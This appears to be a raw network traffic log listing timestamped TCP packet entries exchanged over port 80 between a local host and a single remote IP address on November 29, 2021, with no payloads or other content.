Nov 29, 2021 06:00:50.094860077 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.094882011 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.095666885 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.095684052 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.095695972 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.095707893 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.095720053 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.095731974 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.095762968 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.095788956 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.096548080 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.096565962 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.096582890 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.096597910 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.096612930 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.096616983 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.096633911 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.096648932 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.096698999 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.097453117 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.097470045 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.097486019 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.097502947 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.097517967 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.097534895 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.097549915 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.097572088 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.097579956 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.098373890 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.098392010 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.098407984 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.098423004 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.098438978 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.098453045 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.098454952 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.098489046 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.098509073 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.099272966 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.099380016 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.099400043 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.099455118 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.099469900 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.099493980 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.099514008 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.099519968 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.100123882 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.100169897 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.100197077 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.100222111 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.100245953 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.100263119 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.100270987 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.100291967 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.100305080 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.100347996 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.101033926 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.101052046 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.101063967 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.101077080 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.101093054 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.101105928 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.101119995 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.101141930 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.101182938 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.101897955 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.101926088 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.101947069 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.101970911 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.101984024 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.101989031 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.102005959 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.102030993 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.102056980 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.102725983 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.102744102 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.102760077 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.102777004 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.102793932 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.102809906 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.102812052 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.102834940 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.102854967 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.103589058 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.103607893 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.103624105 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.103640079 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.103657007 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.103662014 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.103669882 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.103729010 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.104448080 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.104480982 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.104499102 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.104516029 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.104528904 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.104536057 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.104556084 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.104573965 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.104604006 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.105437040 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.105487108 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.105534077 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.105581045 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.105601072 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.105676889 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.105694056 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.105746984 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.106174946 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.106218100 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.106251955 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.106280088 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.106297970 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.106338024 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.106389999 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.106434107 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.106458902 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.106488943 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.107016087 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.107057095 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.107095957 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.107132912 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.107150078 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.107182980 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.107209921 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.107249975 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.107436895 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.107820988 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.107860088 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.107898951 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.107918978 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.107956886 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.107995033 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.108041048 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.108052015 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.108164072 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.108690977 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.108733892 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.108772039 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.108793974 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.108829021 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.108894110 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.108922005 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.108954906 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.108994007 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.109042883 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.109594107 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.109635115 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.109658957 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.109694004 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.109736919 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.109772921 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.109790087 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.109818935 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.109848022 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.109898090 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.110373974 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.110528946 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.110572100 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.110613108 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.110651016 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.110677004 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.110717058 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.110733986 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.110774040 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.110812902 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.110847950 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.111428022 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.111471891 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.111504078 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.111531973 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.111577988 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.111601114 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.111641884 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.111679077 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.111699104 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.111736059 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.112307072 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.112364054 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.112401009 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.112432003 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.112462044 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.112493038 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.112531900 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.112560987 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.112588882 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.112636089 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.113265038 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.113322973 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.113378048 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.113419056 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.113456964 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.113502026 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.113512993 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.113548040 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.113570929 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.113610029 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.113646984 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.113691092 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.114310980 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.114351034 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.114368916 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.114408970 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.114449024 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.114485979 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.114502907 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.114532948 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.114557981 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.114595890 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.114964962 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.115215063 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.115255117 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.115294933 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.115312099 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.115354061 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.115391016 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.115421057 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.115448952 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.115488052 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.115506887 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.116139889 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.116179943 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.116197109 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.116238117 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.116276026 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.116293907 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.116332054 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.116370916 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.116388083 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.116429090 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.116919041 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.117065907 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.117108107 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.117145061 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.117183924 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.117201090 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.117225885 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.117259979 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.117300034 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.117338896 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.117386103 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.117932081 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.117964983 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.117991924 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.118011951 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.118041039 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.118052959 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.118083954 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.118115902 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.118144989 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.118160009 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.118192911 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.118846893 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.118877888 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.118908882 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.118941069 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.118957043 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.118987083 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.119003057 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.119033098 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.119062901 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.119077921 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.119695902 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.119730949 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.119767904 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.119776964 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.119807959 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.119823933 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.119853973 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.119883060 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.119918108 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.119926929 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.119961023 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.120693922 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.120740891 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.120776892 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.120807886 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.120843887 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.120877981 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.120884895 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.120927095 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.120955944 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.121004105 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.121520042 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.121550083 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.121581078 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.121603012 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.121634007 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.121649027 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.121680975 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.121711969 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.121756077 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.122241020 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.122271061 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.122289896 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.122318029 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.122349024 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.122380972 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.122394085 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.122420073 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.122438908 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.122469902 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.122621059 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.123125076 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.123157024 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.123187065 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.123200893 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.123233080 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.123264074 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.123292923 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.123306036 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.123337030 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.123349905 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.124018908 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.124051094 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.124064922 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.124098063 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.124129057 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.124147892 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.124172926 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.124202967 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.124233961 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.124262094 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.124274969 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.124872923 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.124905109 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.124936104 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.124963045 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.124983072 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.125014067 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.125042915 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.125056028 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.125086069 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.125101089 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.125739098 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.125771999 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.125802994 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.125824928 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.125857115 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:50.125865936 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:50.125896931 CET	80	49731	104.21.92.165	192.168.2.3
